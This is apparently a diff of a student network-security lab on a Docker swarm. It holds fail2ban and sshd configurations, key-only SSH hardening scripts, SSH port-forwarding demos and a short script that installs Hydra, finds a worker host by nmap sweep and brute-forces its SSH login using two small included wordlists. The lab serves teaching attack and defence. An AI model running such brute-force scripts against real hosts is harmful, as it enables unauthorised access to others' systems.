||||
|
|
||||
|
|
||||
|
# Generic filter for PAM. Has to be used with action which bans all |
||||
|
# ports such as iptables-allports, shorewall |
||||
|
|
||||
|
[pam-generic] |
||||
|
# pam-generic filter can be customized to monitor specific subset of 'tty's |
||||
|
banaction = %(banaction_allports)s |
||||
|
logpath = %(syslog_authpriv)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[xinetd-fail] |
||||
|
|
||||
|
banaction = iptables-multiport-log |
||||
|
logpath = %(syslog_daemon)s |
||||
|
backend = %(syslog_backend)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
# stunnel - need to set port for this |
||||
|
[stunnel] |
||||
|
|
||||
|
logpath = /var/log/stunnel4/stunnel.log |
||||
|
|
||||
|
|
||||
|
[ejabberd-auth] |
||||
|
|
||||
|
port = 5222 |
||||
|
logpath = /var/log/ejabberd/ejabberd.log |
||||
|
|
||||
|
|
||||
|
[counter-strike] |
||||
|
|
||||
|
logpath = /opt/cstrike/logs/L[0-9]*.log |
||||
|
# Firewall: http://www.cstrike-planet.com/faq/6 |
||||
|
tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039 |
||||
|
udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015 |
||||
|
action = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
||||
|
%(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
||||
|
|
||||
|
# consider low maxretry and a long bantime |
||||
|
# nobody except your own Nagios server should ever probe nrpe |
||||
|
[nagios] |
||||
|
|
||||
|
logpath = %(syslog_daemon)s ; nrpe.cfg may define a different log_facility |
||||
|
backend = %(syslog_backend)s |
||||
|
maxretry = 1 |
||||
|
|
||||
|
|
||||
|
[oracleims] |
||||
|
# see "oracleims" filter file for configuration requirement for Oracle IMS v6 and above |
||||
|
logpath = /opt/sun/comms/messaging64/log/mail.log_current |
||||
|
banaction = %(banaction_allports)s |
||||
|
|
||||
|
[directadmin] |
||||
|
logpath = /var/log/directadmin/login.log |
||||
|
port = 2222 |
||||
|
|
||||
|
[portsentry] |
||||
|
logpath = /var/lib/portsentry/portsentry.history |
||||
|
maxretry = 1 |
||||
|
|
||||
|
[pass2allow-ftp] |
||||
|
# this pass2allow example allows FTP traffic after successful HTTP authentication |
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
# knocking_url variable must be overridden to some secret value in jail.local |
||||
|
knocking_url = /knocking/ |
||||
|
filter = apache-pass[knocking_url="%(knocking_url)s"] |
||||
|
# access log of the website with HTTP auth |
||||
|
logpath = %(apache_access_log)s |
||||
|
blocktype = RETURN |
||||
|
returntype = DROP |
||||
|
action = %(action_)s[blocktype=%(blocktype)s, returntype=%(returntype)s] |
||||
|
bantime = 1h |
||||
|
maxretry = 1 |
||||
|
findtime = 1 |
||||
|
|
||||
|
|
||||
|
[murmur] |
||||
|
# AKA mumble-server |
||||
|
port = 64738 |
||||
|
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp] |
||||
|
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp] |
||||
|
logpath = /var/log/mumble-server/mumble-server.log |
||||
|
|
||||
|
|
||||
|
[screensharingd] |
||||
|
# For Mac OS Screen Sharing Service (VNC) |
||||
|
logpath = /var/log/system.log |
||||
|
logencoding = utf-8 |
||||
|
|
||||
|
[haproxy-http-auth] |
||||
|
# HAProxy by default doesn't log to file you'll need to set it up to forward |
||||
|
# logs to a syslog server which would then write them to disk. |
||||
|
# See "haproxy-http-auth" filter for a brief cautionary note when setting |
||||
|
# maxretry and findtime. |
||||
|
logpath = /var/log/haproxy.log |
||||
|
|
||||
|
[slapd] |
||||
|
port = ldap,ldaps |
||||
|
logpath = /var/log/slapd.log |
||||
|
|
||||
|
[domino-smtp] |
||||
|
port = smtp,ssmtp |
||||
|
logpath = /home/domino01/data/IBM_TECHNICAL_SUPPORT/console.log |
||||
|
|
||||
|
[phpmyadmin-syslog] |
||||
|
port = http,https |
||||
|
logpath = %(syslog_authpriv)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[zoneminder] |
||||
|
# Zoneminder HTTP/HTTPS web interface auth |
||||
|
# Logs auth failures to apache2 error log |
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
|
@ -0,0 +1,31 @@ |
|||||
|
giwrgos |
||||
|
panos |
||||
|
vasoula |
||||
|
mpanana |
||||
|
mpampis |
||||
|
fasolakia |
||||
|
giwrgos |
||||
|
panos |
||||
|
vasoula |
||||
|
mpanana |
||||
|
mpampis |
||||
|
fasolakia |
||||
|
giwrgos |
||||
|
panos |
||||
|
vasoula |
||||
|
mpanana |
||||
|
mpampis |
||||
|
fasolakia |
||||
|
giwrgos |
||||
|
panos |
||||
|
vasoula |
||||
|
mpanana |
||||
|
mpampis |
||||
|
fasolakia |
||||
|
giwrgos |
||||
|
panos |
||||
|
vasoula |
||||
|
mpanana |
||||
|
mpampis |
||||
|
fasolakia |
||||
|
docker |
@ -0,0 +1,9 @@ |
|||||
|
giwrgos |
||||
|
mpampis |
||||
|
soula |
||||
|
voula |
||||
|
tsoula |
||||
|
mple |
||||
|
prasino |
||||
|
pink |
||||
|
ping |
@ -0,0 +1,13 @@ |
|||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
sudo apt install hydra -y |
||||
|
clear |
||||
|
echo "SSH brute force attack with Hydra" |
||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
||||
|
echo "Swarm network is " $network |
||||
|
echo "Starting attack with right dictionary to worker 1 with the IP address: " $worker1IP |
||||
|
hydra -l docker -P lexikoright $worker1IP -t 4 ssh |
||||
|
printf "\n\n\n" |
||||
|
echo "Starting attack with wrong dictionary to worker 1 with the IP address: " $worker1IP |
||||
|
hydra -l docker -P lexikowrong $worker1IP -t 4 ssh |
@ -0,0 +1,14 @@ |
|||||
|
clear |
||||
|
echo "Applying SSH Configuration to allow only keys" |
||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
||||
|
ssh-keygen -t rsa |
||||
|
#(path kai kwdiko enter+enter) |
||||
|
ssh-copy-id docker@$worker1IP |
||||
|
ssh docker@$worker1IP |
||||
|
bash |
||||
|
sudo cp /project/sshdconfrsa /etc/ssh/sshd_config |
||||
|
sudo service ssh restart |
||||
|
exit |
||||
|
exit |
||||
|
echo "Configuration Finished!" |
@ -0,0 +1,122 @@ |
|||||
|
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ |
||||
|
|
||||
|
# This is the sshd server system-wide configuration file. See |
||||
|
# sshd_config(5) for more information. |
||||
|
|
||||
|
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin |
||||
|
|
||||
|
# The strategy used for options in the default sshd_config shipped with |
||||
|
# OpenSSH is to specify options with their default value where |
||||
|
# possible, but leave them commented. Uncommented options override the |
||||
|
# default value. |
||||
|
|
||||
|
#Port 22 |
||||
|
#AddressFamily any |
||||
|
#ListenAddress 0.0.0.0 |
||||
|
#ListenAddress :: |
||||
|
|
||||
|
#HostKey /etc/ssh/ssh_host_rsa_key |
||||
|
#HostKey /etc/ssh/ssh_host_ecdsa_key |
||||
|
#HostKey /etc/ssh/ssh_host_ed25519_key |
||||
|
|
||||
|
# Ciphers and keying |
||||
|
#RekeyLimit default none |
||||
|
|
||||
|
# Logging |
||||
|
SyslogFacility AUTH |
||||
|
LogLevel INFO |
||||
|
|
||||
|
# Authentication: |
||||
|
|
||||
|
#LoginGraceTime 2m |
||||
|
#PermitRootLogin yes |
||||
|
#StrictModes yes |
||||
|
#MaxAuthTries 6 |
||||
|
#MaxSessions 10 |
||||
|
|
||||
|
#PubkeyAuthentication yes |
||||
|
|
||||
|
# Expect .ssh/authorized_keys2 to be disregarded by default in future. |
||||
|
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 |
||||
|
|
||||
|
#AuthorizedPrincipalsFile none |
||||
|
|
||||
|
#AuthorizedKeysCommand none |
||||
|
#AuthorizedKeysCommandUser nobody |
||||
|
|
||||
|
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts |
||||
|
#HostbasedAuthentication no |
||||
|
# Change to yes if you don't trust ~/.ssh/known_hosts for |
||||
|
# HostbasedAuthentication |
||||
|
#IgnoreUserKnownHosts no |
||||
|
# Don't read the user's ~/.rhosts and ~/.shosts files |
||||
|
#IgnoreRhosts yes |
||||
|
|
||||
|
# To disable tunneled clear text passwords, change to no here! |
||||
|
PasswordAuthentication no |
||||
|
#PermitEmptyPasswords no |
||||
|
|
||||
|
# Change to yes to enable challenge-response passwords (beware issues with |
||||
|
# some PAM modules and threads) |
||||
|
ChallengeResponseAuthentication no |
||||
|
|
||||
|
# Kerberos options |
||||
|
#KerberosAuthentication no |
||||
|
#KerberosOrLocalPasswd yes |
||||
|
#KerberosTicketCleanup yes |
||||
|
#KerberosGetAFSToken no |
||||
|
|
||||
|
# GSSAPI options |
||||
|
#GSSAPIAuthentication no |
||||
|
#GSSAPICleanupCredentials yes |
||||
|
#GSSAPIStrictAcceptorCheck yes |
||||
|
#GSSAPIKeyExchange no |
||||
|
|
||||
|
# Set this to 'yes' to enable PAM authentication, account processing, |
||||
|
# and session processing. If this is enabled, PAM authentication will |
||||
|
# be allowed through the ChallengeResponseAuthentication and |
||||
|
# PasswordAuthentication. Depending on your PAM configuration, |
||||
|
# PAM authentication via ChallengeResponseAuthentication may bypass |
||||
|
# the setting of "PermitRootLogin without-password". |
||||
|
# If you just want the PAM account and session checks to run without |
||||
|
# PAM authentication, then enable this but set PasswordAuthentication |
||||
|
# and ChallengeResponseAuthentication to 'no'. |
||||
|
UsePAM yes |
||||
|
|
||||
|
#AllowAgentForwarding yes |
||||
|
AllowTcpForwarding yes |
||||
|
#GatewayPorts no |
||||
|
X11Forwarding yes |
||||
|
#X11DisplayOffset 10 |
||||
|
#X11UseLocalhost yes |
||||
|
#PermitTTY yes |
||||
|
PrintMotd no |
||||
|
#PrintLastLog yes |
||||
|
#TCPKeepAlive yes |
||||
|
#UseLogin no |
||||
|
#PermitUserEnvironment no |
||||
|
#Compression delayed |
||||
|
#ClientAliveInterval 0 |
||||
|
#ClientAliveCountMax 3 |
||||
|
#UseDNS no |
||||
|
#PidFile /var/run/sshd.pid |
||||
|
#MaxStartups 10:30:100 |
||||
|
#PermitTunnel no |
||||
|
#ChrootDirectory none |
||||
|
#VersionAddendum none |
||||
|
|
||||
|
# no default banner path |
||||
|
#Banner none |
||||
|
|
||||
|
# Allow client to pass locale environment variables |
||||
|
AcceptEnv LANG LC_* |
||||
|
|
||||
|
# override default of no subsystems |
||||
|
Subsystem sftp /usr/lib/openssh/sftp-server |
||||
|
|
||||
|
# Example of overriding settings on a per-user basis |
||||
|
#Match User anoncvs |
||||
|
# X11Forwarding no |
||||
|
# AllowTcpForwarding no |
||||
|
# PermitTTY no |
||||
|
# ForceCommand cvs server |
@ -0,0 +1,122 @@ |
|||||
|
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ |
||||
|
|
||||
|
# This is the sshd server system-wide configuration file. See |
||||
|
# sshd_config(5) for more information. |
||||
|
|
||||
|
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin |
||||
|
|
||||
|
# The strategy used for options in the default sshd_config shipped with |
||||
|
# OpenSSH is to specify options with their default value where |
||||
|
# possible, but leave them commented. Uncommented options override the |
||||
|
# default value. |
||||
|
|
||||
|
#Port 22 |
||||
|
#AddressFamily any |
||||
|
#ListenAddress 0.0.0.0 |
||||
|
#ListenAddress :: |
||||
|
|
||||
|
#HostKey /etc/ssh/ssh_host_rsa_key |
||||
|
#HostKey /etc/ssh/ssh_host_ecdsa_key |
||||
|
#HostKey /etc/ssh/ssh_host_ed25519_key |
||||
|
|
||||
|
# Ciphers and keying |
||||
|
#RekeyLimit default none |
||||
|
|
||||
|
# Logging |
||||
|
SyslogFacility AUTH |
||||
|
LogLevel INFO |
||||
|
|
||||
|
# Authentication: |
||||
|
|
||||
|
#LoginGraceTime 2m |
||||
|
#PermitRootLogin yes |
||||
|
#StrictModes yes |
||||
|
#MaxAuthTries 6 |
||||
|
#MaxSessions 10 |
||||
|
|
||||
|
#PubkeyAuthentication yes |
||||
|
|
||||
|
# Expect .ssh/authorized_keys2 to be disregarded by default in future. |
||||
|
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 |
||||
|
|
||||
|
#AuthorizedPrincipalsFile none |
||||
|
|
||||
|
#AuthorizedKeysCommand none |
||||
|
#AuthorizedKeysCommandUser nobody |
||||
|
|
||||
|
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts |
||||
|
#HostbasedAuthentication no |
||||
|
# Change to yes if you don't trust ~/.ssh/known_hosts for |
||||
|
# HostbasedAuthentication |
||||
|
#IgnoreUserKnownHosts no |
||||
|
# Don't read the user's ~/.rhosts and ~/.shosts files |
||||
|
#IgnoreRhosts yes |
||||
|
|
||||
|
# To disable tunneled clear text passwords, change to no here! |
||||
|
#PasswordAuthentication yes |
||||
|
#PermitEmptyPasswords no |
||||
|
|
||||
|
# Change to yes to enable challenge-response passwords (beware issues with |
||||
|
# some PAM modules and threads) |
||||
|
ChallengeResponseAuthentication no |
||||
|
|
||||
|
# Kerberos options |
||||
|
#KerberosAuthentication no |
||||
|
#KerberosOrLocalPasswd yes |
||||
|
#KerberosTicketCleanup yes |
||||
|
#KerberosGetAFSToken no |
||||
|
|
||||
|
# GSSAPI options |
||||
|
#GSSAPIAuthentication no |
||||
|
#GSSAPICleanupCredentials yes |
||||
|
#GSSAPIStrictAcceptorCheck yes |
||||
|
#GSSAPIKeyExchange no |
||||
|
|
||||
|
# Set this to 'yes' to enable PAM authentication, account processing, |
||||
|
# and session processing. If this is enabled, PAM authentication will |
||||
|
# be allowed through the ChallengeResponseAuthentication and |
||||
|
# PasswordAuthentication. Depending on your PAM configuration, |
||||
|
# PAM authentication via ChallengeResponseAuthentication may bypass |
||||
|
# the setting of "PermitRootLogin without-password". |
||||
|
# If you just want the PAM account and session checks to run without |
||||
|
# PAM authentication, then enable this but set PasswordAuthentication |
||||
|
# and ChallengeResponseAuthentication to 'no'. |
||||
|
UsePAM yes |
||||
|
|
||||
|
#AllowAgentForwarding yes |
||||
|
#AllowTcpForwarding yes |
||||
|
#GatewayPorts no |
||||
|
X11Forwarding yes |
||||
|
#X11DisplayOffset 10 |
||||
|
#X11UseLocalhost yes |
||||
|
#PermitTTY yes |
||||
|
PrintMotd no |
||||
|
#PrintLastLog yes |
||||
|
#TCPKeepAlive yes |
||||
|
#UseLogin no |
||||
|
#PermitUserEnvironment no |
||||
|
#Compression delayed |
||||
|
#ClientAliveInterval 0 |
||||
|
#ClientAliveCountMax 3 |
||||
|
#UseDNS no |
||||
|
#PidFile /var/run/sshd.pid |
||||
|
#MaxStartups 10:30:100 |
||||
|
#PermitTunnel no |
||||
|
#ChrootDirectory none |
||||
|
#VersionAddendum none |
||||
|
|
||||
|
# no default banner path |
||||
|
#Banner none |
||||
|
|
||||
|
# Allow client to pass locale environment variables |
||||
|
AcceptEnv LANG LC_* |
||||
|
|
||||
|
# override default of no subsystems |
||||
|
Subsystem sftp /usr/lib/openssh/sftp-server |
||||
|
|
||||
|
# Example of overriding settings on a per-user basis |
||||
|
#Match User anoncvs |
||||
|
# X11Forwarding no |
||||
|
# AllowTcpForwarding no |
||||
|
# PermitTTY no |
||||
|
# ForceCommand cvs server |
@ -0,0 +1,13 @@ |
|||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
sudo apt-get install fail2ban -y |
||||
|
sudo apt install rsyslog -y |
||||
|
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local |
||||
|
sudo cp "/project/ssh brute force attack/fail2bansshconf" /etc/fail2ban/jail.local |
||||
|
sudo cp "/project/ssh brute force attack/sshdconf" /etc/ssh/sshd_config |
||||
|
sudo service ssh restart |
||||
|
sudo service rsyslog restart |
||||
|
sudo service fail2ban restart |
||||
|
#sudo cat /var/log/auth.log |
||||
|
sudo fail2ban-client status sshd |
||||
|
|
@ -0,0 +1,6 @@ |
|||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
sudo apt-get install apache2 -y |
||||
|
sudo apt-get install lynx -y |
||||
|
sudo service apache2 start |
||||
|
|
@ -0,0 +1,13 @@ |
|||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
# Installing a terminal browser |
||||
|
sudo apt-get install lynx -y |
||||
|
# Finding out the worker1IP |
||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
||||
|
# Local Forwarding |
||||
|
#connecting via ssh to worker1 and asking to forward |
||||
|
#the service (apache) from his 80 port to master's 5000 port |
||||
|
ssh docker@$worker1IP -L 5000:$worker1IP:80 |
||||
|
#after that if we login to master node in a NEW TAB and lynx localhost:5000 |
||||
|
#we' ll see the worker's1 service accessible inside the master node |
@ -0,0 +1,13 @@ |
|||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
# Installing a terminal browser |
||||
|
sudo apt-get install lynx -y |
||||
|
# Finding out the masterIP |
||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
masterIP=$(nmap -sP $network | grep master | awk '{print $NF}' | tr -d '()') |
||||
|
# Giving access to the remote host (master node)via an ssh connection |
||||
|
#(docker@172.19.0.2) to a service running in our (worker's 1) port 80 |
||||
|
#and forwarding it to the remote's host (master node) port 5002 |
||||
|
ssh -R 5002:localhost:80 docker@$masterIP |
||||
|
#now if we lynx localhost:5002 inside the master node |
||||
|
#we' ll see the worker's1 service accessible inside the master node |
@ -0,0 +1,21 @@ |
|||||
|
Ssh_Forwarding_Worker_ServiceStart |
||||
|
[![asciicast](https://asciinema.org/a/386187.svg)](https://asciinema.org/a/386187) |
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
Ssh_Forwarding_Master_LocalForwarding |
||||
|
[![asciicast](https://asciinema.org/a/386189.svg)](https://asciinema.org/a/386189) |
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
Ssh_Forwarding_Worker_RemoteForwarding |
||||
|
[![asciicast](https://asciinema.org/a/386190.svg)](https://asciinema.org/a/386190) |
@ -0,0 +1 @@ |
|||||
|
~/Asfaleia_Diktiwn/swarmlab-sec/install/usr/share/swarmlab.io/sec/swarmlab-sec login |
@ -0,0 +1,3 @@ |
|||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
||||
|
ssh docker@$worker1IP |
Loading…
Reference in new issue